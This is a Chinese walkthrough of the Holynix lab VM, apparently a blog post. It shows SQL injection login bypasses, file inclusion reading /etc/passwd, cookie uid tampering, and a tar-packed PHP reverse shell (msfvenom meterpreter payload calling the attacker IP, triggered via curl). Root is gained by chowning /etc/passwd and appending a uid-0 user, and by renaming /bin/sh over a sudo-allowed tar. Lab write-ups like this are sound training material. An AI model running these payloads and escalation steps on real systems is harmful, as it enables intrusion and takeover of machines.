Holynix

信息收集阶段

存活主机探测:arp-scan -l

当然了,正常来说我们不应该使用arp进行探测,arp探测的是arp的缓存表,我们应该利用nmap进行探测!

nmap -sT --min-rate 10000 192.168.182.0/24

端口探测

nmap -sT --min-rate 10000 -p- 192.168.182.132

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds

只开放了80端口??

避免出现遗漏,做了UDP的端口扫描:

nmap -sU --top-ports 20 192.168.182.132 

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)

版本服务信息探测

nmap -sT -sV -sC -O -p80 192.168.182.132

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上开启的是apache服务,然后存在PHP版本是5.2.4 目标靶机可能是一台ubuntu

漏洞脚本探测

nmap -sT --script=vuln -p80 192.168.182.132

渗透测试

既然只有一个端口的话,那就直接去访问一下把

        Na...工厂产品服务器,然后下面提示我们必须登录来查看受限制的内容!

        旁边有两个链接,分别是主页和登录的界面!

        首先在这里我便尝试了弱口令进行登录,发现登录不成功!

        有提示信息!给到了系统管理员的邮箱地址!感觉前面的名称就是系统管理员的名称吧?不妨再试试他的用户名加上弱口令?无果!

直接上bp抓包进行测试:

突然发现了url地址上面的参数!测一波文件包含!

可以文件包含,但是读不到/etc/passwd

回到sql注入上把,首先测试了user_name上并没有sql注入!password呢?

        出现了报错!存在sql注入了!

直接上sqlmap吧:

        一键化:

python sqlmap.py -r 1.txt --dbs -dump -batch

同时还发现了几个路径!

先看看这几个文件是否能够访问到吧:

显示内容被限制了,应该是我们登陆进去才可以访问!这里在访问messageboard.php的时候,通过文件包含访问到了如下的信息:

最下面还存在一个提交的地方:

不知道能不能上传文件!尝试一下!

能写,但是并没有被解析!其他的页面都是content restricted!

还是尝试进行登录!本来上面登录错误的时候我们就看到了system administrator!想用这个账号进行登录的,但是没登陆成功!(后面有测试了下这个system administrator账号 可以登录 但是没有上传的权限!)尝试其他的账号 这里利用第一个账号便成功登陆进来了!

可以看到有很多的链接!一眼看上去就是去看看upload是否能够上传文件!

看看能不能上传!

home目录还不让这个用户上传~

看看别的东西,在目录上面发现了整个公司员工的个人信息:

这些个人信息或许在后面的渗透过程中,会起到作用,但是我还是想上传,尝试下其他的用户能不能上传吧先!

发现第二个用户便可以上传文件,有权限了!问题又来了 文件上传之后的路径没有~

回去看看信息收集的路径吧,除了icons目录下面存在东西之外其他的都看不到!发现标题说的是家目录上传!

http://192.168.182.132/~username/

找到了文件上传的路径,但是他执行不了~ 第一次遇见执行不了的文件~

前面上传的时候可以自动提取压缩包里面的文件,构造压缩包:

tar -zcvf info.tar.gz info.php

直接上传压缩包!

这里直接利用msfvenom生成反弹shell的木马,进行上传!

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php

之后尝试利用tar进行压缩!

本地起监听:之后访问这个shel1.php文件,但是发现执行就断开了。。。

不知道这是为啥!/usr/share/webshells下面也有反弹shell的脚本,尝试拿出来在试试:

现在重新进行打包上传!

本地起一个监听:

利用curl触发反弹shell:

curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php

成功拿到了shell!

提权

利用dpkg判断是否存在python!尝试建立一个交互性良好的shell环境!

dpkg -l | grep python 

存在python!

python -c "import pty;pty.spawn('/bin/bash')"

尝试看一下当前用户可以执行哪些特权:

发现存在四个命令,在使用的时候,可以以root身份进行运行并且不需要密码!(chown chgrp tar mv!)

首先来了解一下chown!这里我google了chown提权!这个命令确实能够实现提权!!!

chown命令

chown是linux环境下用于设置文件所有者和文件关联组的命令,当以root权限运行chown的时候,有多种
可能性可以实现提权!

示例

用户可以通过sudo运行chown,且没有任何的参数!

运行下面的命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权:遮盖题目为例题进行演示:

#首先我们通过sudo -l 查看当前用户的权限,发现该用户能够以root身份执行chown 并且不需要密码
#当前用户是www-data
sudo chown www-data /etc/passwd

之后我们随便找一个密码(superman),利用openssl对其进行加密:

openssl passwd superman

$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0

然后在/etc/passwd文件中添加一个具有root权限的新用户(比如说是root2),并使用上面生成的加密密码!

echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd

查看是否存在追加成功!

追加成功,尝试使用root2的身份登录:

su root2 

        提权成功!参考链接:Linux提权系列 - chown - 掘金

【补充】

        看了红队笔记的视频后,发现自己遗漏了很多的东西,虽然这个靶场打通了~

sql注入突破

        完全没必要上sqlmap,而且在练习的过程中,尽量不要使用大型的一键化的工具!

既然我们知道了存在sql注入,那么就可以使用万能账号和万能密码进行登录:

因为sql注入的点在密码字段所以用户名任意
密码是' or 1=1-- 

直接登陆成功!用户是:

alamo!!!

        然后就是文件包含,因为上面我也知道存在文件包含,但是一直没读到什么有价值的东西,突破点错了:

        display file:显示文件! 查看源码:

        发现确实下面都是文件!!!尝试修改为/etc/passwd

        然后再次点击display file,可以看到参数是text_file_name,之后我们就可以直接将这个参数写在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd

成功读取到/etc/passwd文件 ,发现了很多的用户信息!读取shadow文件不成功!之后便是到了文件上传的地方,一开始使用alamo这个账号是没有上传的权限,就是根据这里的passwd文件中的各个用户信息!我们尝试换一个账号进行登录:

select * from accounts where username='' and password=''

既然我们已经知道了sql的查询语句,因此我们尝试用户名就是xxx,随便写,后面的password给一个' or username='etenenbaum'--

select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '

成功登陆上来!之后我们发现利用upload.php文件进行上传。后面交给transfer.php文件进行处理,那么我们便可以通过文件包含的形式来读取transfer.php文件的源码!

知道了他是利用tar进行文件的解压,那么我们便可以给他上传一个利用tar压缩的压缩包(里面就是反弹shell的文件 !)

之后还利用到了locate查找文件!(查找符合条件的文件,他会去保存文件和目录名称的数据库内,查找符合文档样式的文件)

还有一个点就是越权!利用bp抓到的数据包在cookie字段存在uid=1,这里修改uid=2 就可以实现越权!

提权

然后就是提权的过程,跟我的方法也是不一样,用到了mv!mv 文件1 文件2 这种方式可以将文件1 重命名为文件2

那么他就是利用mv /bin/su /bin/tar 因为tar执行的时候是以root身份执行的并且是不需要密码的,所以说将su重命名为了 tar 执行tar 实际上执行的是su

首先将tar备份一下!然后我们将/bin/sh 重命名为/bin/tar !利用sudo tar 执行tar!实际执行的是/bin/sh

也可以是/bin/su 重命名为/bin/tar!(sudo tar)

直接输入su 就是切换到root用户,然而执行这个命令,又不需要root的密码,因此就成功的实现了提权操作!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值